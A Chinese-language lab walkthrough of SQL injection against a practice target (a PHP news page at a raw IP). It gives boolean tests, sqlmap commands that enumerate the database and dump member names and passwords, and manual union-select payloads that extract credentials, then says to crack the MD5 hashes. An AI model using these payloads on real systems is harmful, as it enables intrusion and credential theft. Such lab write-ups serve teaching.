环境:sql注入靶场
首先判断一下注入点:http://219.153.49.228:43028/new_list.php?id=1
分别在后面加 and 2-1=1 和 and 2-1=2
第一条语句执行后页面正常。
第二条语句执行后页面错误。
由此可见,我们在后面添加的sql语句被带到了数据库中执行,说明这个存在注入
工具(sqlmap):
1.在sqlmap中查询数据库:
sqlmap.py -u "http://219.153.49.228:43028/new_list.php?id=1" --dbs
2.查询当前数据库:
sqlmap.py -u "http://219.153.49.228:43028/new_list.php?id=1" --current-db
3.查询库中存在的表:
sqlmap.py -u "http://219.153.49.228:43028/new_list.php?id=1" --tables -D mozhe_Discuz_StormGroup
4.查询表中的字段:
sqlmap.py -u "http://219.153.49.228:43028/new_list.php?id=1" --columns -T StormGroup_member -D mozhe_Discuz_StormGroup
5.查询字段里面的内容:
sqlmap.py -u "http://219.153.49.228:43028/new_list.php?id=1" --dump -C id,name,password -T StormGroup_member -D mozhe_Discuz_StormGroup
最后我们得到了管理员的账号密码,密码md5解密即可。
手工
1.使用order by 检测字段数,1-4页面返回正常,5的时候页面错误。由此可知字段数为4.
http://219.153.49.228:43028/new_list.php?id=1 order by 1-4
2.判断回显点:
http://219.153.49.228:43028/new_list.php?id=-1 union select 1,2,3,4 from StormGroup_member
注意:将id=1改为id=-1是为了不显示前面的内容而显示出后面的内容。
可知回显点为2和3
3.猜解用户名和密码带入得到数据:
http://219.153.49.228:43028/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
得到数据后将密码md5解密即可!
成功完成对mysql数据库的注入。